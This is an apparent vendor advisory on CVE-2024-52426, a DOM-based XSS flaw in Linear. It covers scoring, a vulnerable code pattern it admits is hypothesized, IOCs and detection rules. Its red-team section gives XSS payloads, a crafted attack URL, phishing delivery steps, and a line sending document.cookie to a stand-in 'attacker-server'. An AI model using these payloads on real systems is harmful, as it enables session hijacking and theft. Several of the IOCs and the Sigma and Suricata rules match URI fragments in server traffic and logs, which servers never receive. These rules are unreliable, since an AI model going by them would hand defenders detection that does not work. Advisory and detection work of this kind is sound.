CVE-2024-52426

Executive Summary

CVE-2024-52426 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in Linear Oy's Linear software, affecting versions up to and including 2.8.0. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. With a CVSS score of 6.5 (Medium), this flaw can lead to session hijacking, data theft, and defacement. No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the DOM-based nature, client-side attacks via crafted links or compromised third-party content are plausible.

Supply Chain & Package Security

Linear is a commercial software product, not distributed via NPM, PyPI, Go, or Ruby registries. No supply chain package security concerns are identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification possible.
• Availability (A): Low (L) – Minor disruption.

Threat Level: Medium. DOM-based XSS can be leveraged for targeted attacks, but the lack of public exploits and low EPSS score reduces immediate risk.

Deep Dive & Mechanics

The vulnerability resides in the client-side JavaScript of Linear versions <= 2.8.0. DOM-Based XSS occurs when user-controlled data is written to the DOM via unsafe JavaScript methods (e.g., innerHTML, document.write, or eval) without proper sanitization. In this case, the application fails to neutralize input during web page generation, allowing an attacker to inject arbitrary HTML/JavaScript that executes in the victim's browser.

Attack Vector: An attacker crafts a malicious URL containing a payload in a query parameter or fragment identifier. When the victim visits the URL, the Linear application reads the parameter and writes it to the DOM unsafely, executing the injected script.

Impact: The attacker can steal session cookies, redirect users to phishing sites, perform actions on behalf of the victim, or deface the application interface.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common DOM-based XSS flaws:

Vulnerable Code (JavaScript):

// Unsafe: directly assigns user input to innerHTML
var userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

Patched Code (Hypothetical):

// Safe: uses textContent to avoid HTML injection
var userInput = location.hash.substring(1);
document.getElementById('output').textContent = userInput;

The patched version would sanitize input using textContent or a DOMPurify library to neutralize script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Linear version <= 2.8.0 running in a browser.
• Victim user interaction (clicking a crafted link).

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

http://target-linear-app/page#<script>alert('XSS')</script>

Steps:

1. Identify a parameter or fragment that is reflected in the DOM unsafely.
2. Inject a JavaScript payload (e.g., #<img src=x onerror=alert(1)>).
3. Deliver the URL to the victim via phishing email or social engineering.
4. Upon victim clicking, the script executes in the context of the Linear application.

Advanced Payload (Session Hijacking):

var img = new Image();
img.src = 'http://attacker-server/steal?cookie=' + document.cookie;

Blue Team (Defensive)

Detection:

• Monitor for unusual URL fragments containing <script>, <img onerror>, or encoded JavaScript.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Deploy Web Application Firewall (WAF) rules to block XSS patterns.

Mitigation:

• Upgrade to a patched version when available.
• Implement input validation and output encoding (e.g., use textContent instead of innerHTML).
• Conduct code review of all DOM manipulation points.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing #<script> or #<img onerror= in the URI.
  • Outbound connections to unknown IPs/domains from the victim's browser.
• Host:
  • Browser console errors related to script execution.
  • Unexpected DOM modifications (e.g., injected iframes or scripts).
• Logs:
  • Web server logs showing unusual fragment identifiers (e.g., %23%3Cscript%3E).

Detection Engineering

YARA Rule

rule dom_xss_linear_cve_2024_52426 {
    meta:
        description = "Detects DOM-based XSS payloads targeting Linear CVE-2024-52426"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52426"
    strings:
        $payload1 = /#<script[^>]*>.*<\/script>/i
        $payload2 = /#<img[^>]*onerror\s*=/i
        $payload3 = /#<svg[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: DOM-Based XSS Attempt Against Linear CVE-2024-52426
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a9e7c
status: experimental
description: Detects HTTP requests with XSS payloads in URI fragments targeting Linear software
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img onerror'
            - '#<svg onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in fragments (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52426 DOM XSS Attempt"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-52426 DOM XSS via img onerror"; content:"#<img"; http_uri; nocase; content:"onerror"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch when released. Monitor Linear's official channels for updates.
2. Workaround: If patching is not possible, disable JavaScript features that process user input in the DOM, or implement a Content Security Policy (CSP) with script-src 'self' to block inline scripts.
3. Input Validation: Sanitize all user-controlled data before DOM insertion using libraries like DOMPurify.

Long-Term Measures:

• Conduct regular security code reviews focusing on DOM manipulation.
• Implement automated XSS scanning in CI/CD pipelines.
• Educate developers on secure coding practices for client-side JavaScript.

Detection: Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.

Valters IT
Securing Digital Frontiers